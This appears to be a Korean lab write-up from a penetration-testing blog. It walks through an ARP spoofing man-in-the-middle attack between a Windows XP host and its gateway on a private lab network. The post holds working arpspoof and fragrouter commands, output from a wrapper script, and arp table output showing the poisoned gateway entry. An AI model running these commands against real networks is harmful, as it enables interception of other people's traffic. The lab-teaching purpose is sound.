실습> ARP Redirect 공격
ARP Spoofing을 이용한 패킷 전달 방법 MITM
[Victim1(WinXP)] <-- 192.168.108.2 [Attacker] 192.168.108.105 --> [Victim2(Gateway)]
192.168.108.105 192.168.108.102 192.168.108.2
00:0c:29:0e:30:1e 00:0c:29:e6:4d:4a 00:50:56:e2:02:72
---------------------------> --------------------------->
<--------------------------- <---------------------------
arpspoof -t 192.168.108.105 192.168.108.2
arpspoof -t 192.168.108.2 192.168.108.105
fragrouter -B1 or /proc/sys/net/ipv4/ip_forward를 1로 설정
1. ARP Redirect 공격
Attacker# arpspoof2.py 105 2
>>> arp spoofing 공격 실행중 !!! <<<
arpspoof -t 192.168.108.105 192.168.108.2 > /dev/null 2>&1 &
arpspoof -t 192.168.108.2 192.168.108.105 > /dev/null 2>&1 &
fragrouter -B1 > /dev/null 2>&1
2. 통신 확인
외부로 ping을 이용해서 통신 연결을 확인한다.
C:\>ping 8.8.8.8
Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=46ms TTL=128
Reply from 8.8.8.8: bytes=32 time=48ms TTL=128
Reply from 8.8.8.8: bytes=32 time=47ms TTL=128
Reply from 8.8.8.8: bytes=32 time=47ms TTL=128
Ping statistics for 8.8.8.8:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 46ms, Maximum = 48ms, Average = 47ms
C:\>ping 192.168.108.2
Pinging 192.168.108.2 with 32 bytes of data:
Reply from 192.168.108.2: bytes=32 time<1ms TTL=128
Reply from 192.168.108.2: bytes=32 time<1ms TTL=128
Reply from 192.168.108.2: bytes=32 time<1ms TTL=128
Reply from 192.168.108.2: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.108.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Gateway 주소가 Attacker의 MAC주소와 동일하다는 것을 알 수 있다.
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.2 00-0c-29-e6-4d-4a dynamic
192.168.108.102 00-0c-29-e6-4d-4a dynamic
3. 패킷 분석
Attacker, Victim1에서 와이어샤크를 실행해서 패킷을 확인한다.
echo request (type 8)
echo reply (type 0)
4. 공격 종료
Ctrl + C를 눌러서 공격을 종료한다.
Attacker# arpspoof2.py 105 2
>>> arp spoofing 공격 실행중 !!! <<<
arpspoof -t 192.168.108.105 192.168.108.2 > /dev/null 2>&1 &
arpspoof -t 192.168.108.2 192.168.108.105 > /dev/null 2>&1 &
fragrouter -B1 > /dev/null 2>&1
^Cpkill -9 arpspoof
>>> arpspoof 공격 중지!!! <<<
5. MAC 주소 확인
C:\>ping 192.168.108.102
Pinging 192.168.108.102 with 32 bytes of data:
Reply from 192.168.108.102: bytes=32 time<1ms TTL=64
Reply from 192.168.108.102: bytes=32 time<1ms TTL=64
Reply from 192.168.108.102: bytes=32 time<1ms TTL=64
Reply from 192.168.108.102: bytes=32 time<1ms TTL=64
Ping statistics for 192.168.108.102:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.2 00-50-56-e2-02-72 dynamic
192.168.108.102 00-0c-29-e6-4d-4a dynamic
'Linux > 모의해킹' 카테고리의 다른 글
| IP Spoofing 기법을 이용한 방화벽 우회 (0) | 2022.01.08 |
|---|---|
| DNS Spoofing 공격 (0) | 2022.01.08 |
| Python 디버깅 (0) | 2022.01.08 |
| arpspoof2.py 분석하기 (0) | 2022.01.08 |
| arpspoof 공격 스크립트 작성하기 (0) | 2022.01.06 |